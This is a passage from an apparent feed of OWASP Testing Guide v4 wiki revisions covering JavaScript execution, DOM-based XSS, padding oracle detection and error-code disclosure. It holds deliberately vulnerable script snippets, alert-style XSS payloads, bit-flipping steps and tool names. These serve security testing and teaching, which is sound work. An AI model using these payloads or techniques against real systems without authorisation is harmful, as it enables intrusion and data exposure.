** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_JavaScript_Execution_(OTG-CLIENT-002)&amp;diff=180319</id>
		<title>Testing for JavaScript Execution (OTG-CLIENT-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_JavaScript_Execution_(OTG-CLIENT-002)&amp;diff=180319"/>
				<updated>2014-08-08T13:28:01Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
A JavaScript Injection vulnerability is a subtype of Cross Site Scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim's browser. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application behavior.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
Such vulnerability occurs when the application lacks of a proper user supplied input and output validation. JavaScript is used to dynamically populate web pages, this injection occur during this content processing phase and consequently affect the victim.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When trying to exploit this kind of issues, consider that some characters are treated differently by different browsers. For reference see the DOM XSS Wiki.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following script does not perform any validation of the variable rr that contains the user supplied input via the query string and additionally does not apply any form of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var rr = location.search.substring(1);&lt;br /&gt;
if(rr)&lt;br /&gt;
  window.location=decodeURIComponent(rr);&lt;br /&gt;
This implies that an attacker could inject JavaScript code simply by submitting the following query string: www.victim.com/?javascript:alert(1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for  JavaScript Execution is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
'''Testing for JavaScript Execution vulnerabilities:'''&lt;br /&gt;
&lt;br /&gt;
For example, looking at the following URL:&lt;br /&gt;
http://www.domxss.com/domxss/01_Basics/04_eval.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The page contains the following scripts:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
function loadObj(){&lt;br /&gt;
 var cc=eval('('+aMess+')');&lt;br /&gt;
 document.getElementById('mess').textContent=cc.message;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(window.location.hash.indexOf('message')==-1)&lt;br /&gt;
  var aMess=&amp;quot;({\&amp;quot;message\&amp;quot;:\&amp;quot;Hello User!\&amp;quot;})&amp;quot;;&lt;br /&gt;
else&lt;br /&gt;
  var aMess=location.hash.substr(window.location.hash.indexOf('message=')+8);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The above code contains a source 'location.hash' that is controlled by the attacker that can inject directly in the 'message' value a JavaScript Code to take the control of the user browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS.com - http://www.domxss.com&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=180318</id>
		<title>Testing for DOM-based Cross site scripting (OTG-CLIENT-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)&amp;diff=180318"/>
				<updated>2014-08-08T13:27:10Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
[[DOM Based XSS |DOM-based Cross-Site Scripting]] is the de-facto name for [[XSS]] bugs which are the result of active browser-side content on a page, typically JavaScript, obtaining user input and then doing something unsafe with it which leads to execution of injected code. This document only discusses JavaScript bugs which lead to XSS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie. The DOM is also used by the browser for security - for example to limit scripts on different domains from obtaining session cookies for other domains. A DOM-based XSS vulnerability may occur when active content, such as a JavaScript function, is modified by a specially crafted request such that a DOM element that can be controlled by an attacker.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There have been very few papers published on this topic and, as such, very little standardization of its meaning and formalized testing exists.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
Not all XSS bugs require the attacker to control the content returned from the server, but can instead abuse poor JavaScript coding practices to achieve the same results. The consequences are the same as a typical XSS flaw, only the means of delivery is different.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In comparison to other cross site scripting vulnerabilities ([[XSS#Stored_and_Reflected_XSS_Attacks |reflected and stored XSS]]), where an unsanitized parameter is passed by the server, returned to the user and executed in the context of the user's browser, a DOM-based XSS vulnerability controls the flow of the code by using elements of the Document Object Model (DOM) along with code crafted by the attacker to change the flow. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Due to their nature, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine what is actually being executed. This may make many of the general XSS filtering and detection techniques impotent to such attacks.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The first hypothetical example uses the following client side code:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 document.write(&amp;quot;Site is at: &amp;quot; + document.location.href + &amp;quot;.&amp;quot;);&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An attacker may append #&amp;lt;script&amp;gt;alert('xss')&amp;lt;/script&amp;gt; to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the # character is not treated as part of the query by the browser but as a fragment. In this example, the code is immediately executed and an alert of &amp;quot;xss&amp;quot; is displayed by the page.  Unlike the more common types of cross site scripting (Stored and Reflected) in which the code is sent to the server and then back to the browser, this is executed directly in the user's browser without server contact.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The [[XSS#XSS_Attack_Consequences |consequences]] of DOM-based XSS flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc. and should therefore be treated with the same severity.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Blackbox testing for DOM-Based XSS is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing  === &lt;br /&gt;
'''Testing for DOM-Based XSS vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server, and to understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only really viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
User input comes in two main forms:&lt;br /&gt;
&lt;br /&gt;
* Input written to the page by the server in a way that does not allow direct XSS&lt;br /&gt;
* Input obtained from client-side JavaScript objects&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here are two examples of how the server may insert data into JavaScript:&lt;br /&gt;
&lt;br /&gt;
 var data = &amp;quot;&amp;lt;escaped data from the server&amp;gt;&amp;quot;;&lt;br /&gt;
 var result = someFunction(&amp;quot;&amp;lt;escaped data from the server&amp;gt;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And here are two examples of input from client-side JavaScript objects:&lt;br /&gt;
&lt;br /&gt;
 var data = window.location;&lt;br /&gt;
 var result = someFunction(window.referer);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires, whereas the permutations performed by JavaScript objects are fairly well understood and documented, and so if someFunction in the above example were a sink, then the exploitability of the former would depend on the filtering done by the server, whereas the latter would depend on the encoding done by the browser on the window.referer object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a [https://code.google.com/p/domxsswiki/wiki/LocationSources URL using the document. and location. attributes].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Additionally, JavaScript is often executed outside of &amp;lt;script&amp;gt; blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past, and so, when crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;message=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
but may not be detected in the following contrived case:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var navAgt = navigator.userAgent;&lt;br /&gt;
 &lt;br /&gt;
if (navAgt.indexOf(&amp;quot;MSIE&amp;quot;)!=-1) {&lt;br /&gt;
     document.write(&amp;quot;You are using IE as a browser and visiting site: &amp;quot; + document.location.href + &amp;quot;.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
    document.write(&amp;quot;You are using an unknown browser.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform addition analysis of the client side code.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in the excellent DOM XSS article by Amit Klein, referenced at the end of this section.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model&lt;br /&gt;
* DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml&lt;br /&gt;
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources&lt;br /&gt;
** i.e., what is returned when the user asks the browser for things like document.URL, document.baseURI, location, location.href, etc.&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Padding_Oracle_(OTG-CRYPST-002)&amp;diff=180317</id>
		<title>Testing for Padding Oracle (OTG-CRYPST-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Padding_Oracle_(OTG-CRYPST-002)&amp;diff=180317"/>
				<updated>2014-08-08T13:25:34Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A padding oracle is a function of an application which decrypts encrypted data provided by the client, e.g. internal session state stored on the client, and leaks the state of the validity of the padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations. This can lead to leakage of sensible data or to privilege escalation vulnerabilities, if integrity of the encrypted data is assumed by the application.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn't match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS#7. It fills the remaining bytes with the value of the padding length.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
&lt;br /&gt;
If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text. &lt;br /&gt;
&lt;br /&gt;
An error condition is present if the padding doesn't match the syntax of the used padding scheme. A padding oracle is present if an application leaks this specific padding error condition for encrypted data provided by the client. This can happen by exposing exceptions (e.g. BadPaddingException in Java) directly, by subtle differences in the responses sent to the client or by another side-channel like timing behavior.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted data. The n-th block of the decrypted cipher text is garbaged by this manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The padding oracle attack enables an attacker to decrypt encrypted data without knowledge of the encryption key and used cipher by sending skillful manipulated cipher texts to the padding oracle and observing of the results returned by it. This causes loss of confidentiality of the encrypted data. E.g. in the case of session data stored on the client side the attacker can gain information about the internal state and structure of the application. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A padding oracle attack also enables an attacker to encrypt arbitrary plain texts without knowledge of the used key and cipher. If the application assumes that integrity and authenticity of the decrypted data is given, an attacker could be able to manipulate internal session state and possibly gain higher privileges.&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box Testing ===&lt;br /&gt;
'''Testing for padding oracle vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
First the possible input points for padding oracles must be identified. Generally the following conditions must be met:&lt;br /&gt;
&lt;br /&gt;
# The data is encrypted. Good candidates are values which appear to be random.&lt;br /&gt;
# A block cipher is used. The length of the decoded (Base64 is used often) cipher text is a multiple of common cipher block sizes like 8 or 16 bytes. Different cipher texts (e.g. gathered by different sessions or manipulation of session state) share a common divisor in the length.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;Dg6W8OiWMIdVokIDH15T/A==&amp;lt;/nowiki&amp;gt; results after Base64 decoding in 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. This seems to be random and 16 byte long.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If such an input value candidate is identified, the behavior of the application to bit-wise tampering of the encrypted value should be verified. Normally this Base64 encoded value will include the initialization vector (IV) prepended to the cipher text. Given a plaintext ''&amp;lt;tt&amp;gt;p&amp;lt;/tt&amp;gt;'' and a cipher with a block size ''&amp;lt;tt&amp;gt;n&amp;lt;/tt&amp;gt;'', the number of blocks will be ''&amp;lt;tt&amp;gt;b = ceil( length(b) / n)&amp;lt;/tt&amp;gt;''. The length of the encrypted string will be ''&amp;lt;tt&amp;gt;y=(b+1)*n&amp;lt;/tt&amp;gt;'' due to the initialization vector. To verify the presence of the oracle, decode the string, flip the last bit of the second-to-last block ''&amp;lt;tt&amp;gt;b-1&amp;lt;/tt&amp;gt;'' (the least significant bit of the byte at ''&amp;lt;tt&amp;gt;y-n-1&amp;lt;/tt&amp;gt;''), re-encode and send. Next, decode the original string, flip the last bit of the block ''&amp;lt;tt&amp;gt;b-2&amp;lt;/tt&amp;gt;'' (the least significant bit of the byte at ''&amp;lt;tt&amp;gt;y-2*n-1&amp;lt;/tt&amp;gt;''), re-encode and send. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If it is known that the encrypted string is a single block (the IV is stored on the server or the application is using a bad practice hardcoded IV), several bit flips must be performed in turn. An alternative approach could be to prepend a random block, and flip bits in order to make the last byte of the added block take all possible values (0 to 255).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The tests and the base value should at least cause three different states while and after decryption:&lt;br /&gt;
&lt;br /&gt;
* Cipher text gets decrypted, resulting data is correct.&lt;br /&gt;
* Cipher text gets decrypted, resulting data is garbled and causes some exception or error handling in the application logic.&lt;br /&gt;
* Cipher text decryption fails due to padding errors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Compare the responses carefully. Search especially for exceptions and messages which state that something is wrong with the padding. If such messages appear, the application contains a padding oracle. If the three different states described above are observable implicitly (different error messages, timing side-channels), there is a high probability that there is a padding oracle present at this point. Try to perform the padding oracle attack to ensure this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
* ASP.NET throws &amp;quot;System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed.&amp;quot; if padding of a decrypted cipher text is broken.&lt;br /&gt;
* In Java a javax.crypto.BadPaddingException is thrown in this case.&lt;br /&gt;
* Decryption errors or similar can be possible padding oracles.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
A secure implementation will check for integrity and cause only two responses: ok and failed. There are no side channels which can be used to determine internal error states.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Grey Box Testing===&lt;br /&gt;
'''Testing for padding oracle vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
Verify that all places where encrypted data from the client, that should only be known by the server, is decrypted. The following conditions should be met by such code:&lt;br /&gt;
&lt;br /&gt;
# The integrity of the cipher text should be verified by a secure mechanism, like HMAC or authenticated cipher operation modes like GCM or CCM.&lt;br /&gt;
# All error states while decryption and further processing are handled uniformly.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* PadBuster - [https://github.com/GDSSecurity/PadBuster https://github.com/GDSSecurity/PadBuster]&lt;br /&gt;
* python-paddingoracle - [https://github.com/mwielgoszewski/python-paddingoracle https://github.com/mwielgoszewski/python-paddingoracle]&lt;br /&gt;
* Poracle - [https://github.com/iagox86/Poracle https://github.com/iagox86/Poracle]&lt;br /&gt;
* Padding Oracle Exploitation Tool (POET) - [http://netifera.com/research/ http://netifera.com/research/]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Examples'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Visualization of the decryption process - [http://erlend.oftedal.no/blog/poet/ http://erlend.oftedal.no/blog/poet/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Wikipedia - Padding oracle attack - [http://en.wikipedia.org/wiki/Padding_oracle_attack http://en.wikipedia.org/wiki/Padding_oracle_attack]&lt;br /&gt;
* Juliano Rizzo, Thai Duong, &amp;quot;Practical Padding Oracle Attacks&amp;quot; - [http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf http://www.usenix.org/event/woot10/tech/full_papers/Rizzo.pdf]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Error_Code_(OTG-ERR-001)&amp;diff=180316</id>
		<title>Testing for Error Code (OTG-ERR-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Error_Code_(OTG-ERR-001)&amp;diff=180316"/>
				<updated>2014-08-08T13:24:50Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Often, during a penetration test on web applications, we come up against many error codes generated from applications or web servers.&lt;br /&gt;
It's possible to cause these errors to be displayed by using a particular requests, either specially crafted with tools or created manually.&lt;br /&gt;
These codes are very useful to penetration testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.&lt;br /&gt;
&lt;br /&gt;
This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment.&lt;br /&gt;
The most important aspect for this activity is to focus one's attention on these errors, seeing them as a collection of information that will aid in the next steps of our analysis. A good collection can facilitate assessment efficiency by decreasing the overall time taken to perform the penetration test.&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes use search engines to locate errors that disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for errors in a specific site using the search engine filtering tools as described in [https://www.owasp.org/index.php/Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001) 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Web Server Errors===&lt;br /&gt;
&lt;br /&gt;
A common error that we can see during testing is the HTTP 404 Not Found.&lt;br /&gt;
Often this error code provides useful details about the underlying web server and associated components. For example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not Found&lt;br /&gt;
The requested URL /page.html was not found on this server.&lt;br /&gt;
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g  DAV/2 PHP/5.1.2 Server at localhost Port 80&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This error message can be generated by requesting a non-existent URL.&lt;br /&gt;
After the common message that shows a page not found, there is information about web server version, OS, modules and other products used.&lt;br /&gt;
This information can be very important from an OS and application type and version identification point of view.&lt;br /&gt;
&lt;br /&gt;
Other HTTP response codes such as 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be forced by an attacker. When receiving specially crafted requests, web servers may provide one of these error codes depending on their HTTP implementation. &lt;br /&gt;
&lt;br /&gt;
Testing for disclosed information in the Web Server error codes is related testing for information disclosed in the HTTP headers as described in the section [https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]. &lt;br /&gt;
&lt;br /&gt;
===Application Server Errors===&lt;br /&gt;
&lt;br /&gt;
Application errors are returned by the application itself, rather than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned by the application code. &lt;br /&gt;
Detailed application errors typically provide information of server paths, installed libraries and application versions. &lt;br /&gt;
&lt;br /&gt;
===Database Errors===&lt;br /&gt;
&lt;br /&gt;
Database errors are those returned by the Database System when there is a problem with the query or the connection. Each Database system, such as MySQL, Oracle or MSSQL, has their own set of errors. Those errors can provide sensible information such as Database server IPs, tables, columns and login details.&lt;br /&gt;
&lt;br /&gt;
In addition, there are many SQL Injection exploitation techniques that utilize detailed error messages from the database driver, for in depth information on this issue see [[Testing for SQL Injection (OTG-INPVAL-005)]] for more information.&lt;br /&gt;
&lt;br /&gt;
Web server errors aren't the only useful output returned requiring security analysis. Consider the next example error message:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)&lt;br /&gt;
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What happened? We will explain step-by-step below.&lt;br /&gt;
&lt;br /&gt;
In this example, the 80004005 is a generic IIS error code which indicates that it could not establish a connection to its associated database. In many cases, the error message will detail the type of the database. This will often indicate the underlying operating system by association. With this information, the penetration tester can plan an appropriate strategy for the security test.&lt;br /&gt;
&lt;br /&gt;
By manipulating the variables that are passed to the database connect string, we can invoke more detailed errors.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80004005'&lt;br /&gt;
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'DriverId'&lt;br /&gt;
&amp;lt;/pre&amp;gt; 	&lt;br /&gt;
&lt;br /&gt;
In this example, we can see a generic error in the same situation which reveals the type and version of the associated database system and a dependence on Windows operating system registry key values.&lt;br /&gt;
&lt;br /&gt;
Now we will look at a practical example with a security test against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This could be caused by a database name resolution issue, processing of unexpected variable values, or other network problems.&lt;br /&gt;
&lt;br /&gt;
Consider the scenario where we have a database administration web portal, which can be used as a front end GUI to issue database queries, create tables, and modify database fields. During the POST of the logon credentials, the following error message is presented to the penetration tester. The message indicates the presence of a MySQL database server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)&lt;br /&gt;
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
If we see in the HTML code of the logon page the presence of a '''hidden field''' with a database IP, we can try to change this value in the URL with the address of database server under the penetration tester's control in an attempt to fool the application into thinking that the logon was successful.&lt;br /&gt;
&lt;br /&gt;
Another example: knowing the database server that services a web application, we can take advantage of this information to carry out a SQL Injection for that kind of database or a persistent XSS test.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
Below are some examples of testing for detailed error messages returned to the user. Each of the below examples has specific information about the operating system, application version, etc.&lt;br /&gt;
&lt;br /&gt;
'''Test: 404 Not Found'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
telnet &amp;lt;host target&amp;gt; 80&lt;br /&gt;
GET /&amp;lt;wrong page&amp;gt; HTTP/1.1&lt;br /&gt;
host: &amp;lt;host target&amp;gt;&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 404 Not Found&lt;br /&gt;
Date: Sat, 04 Nov 2006 15:26:48 GMT&lt;br /&gt;
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g&lt;br /&gt;
Content-Length: 310&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;title&amp;gt;404 Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;address&amp;gt;Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at &amp;lt;host target&amp;gt; Port 80&amp;lt;/address&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Network problems leading to the application being unable to access the database server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '&lt;br /&gt;
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Authentication failure due to missing credentials&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
Firewall version used for authentication:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Error 407&lt;br /&gt;
FW-1 at &amp;lt;firewall&amp;gt;: Unauthorized to access the document.&lt;br /&gt;
•  Authorization is needed for FW-1.&lt;br /&gt;
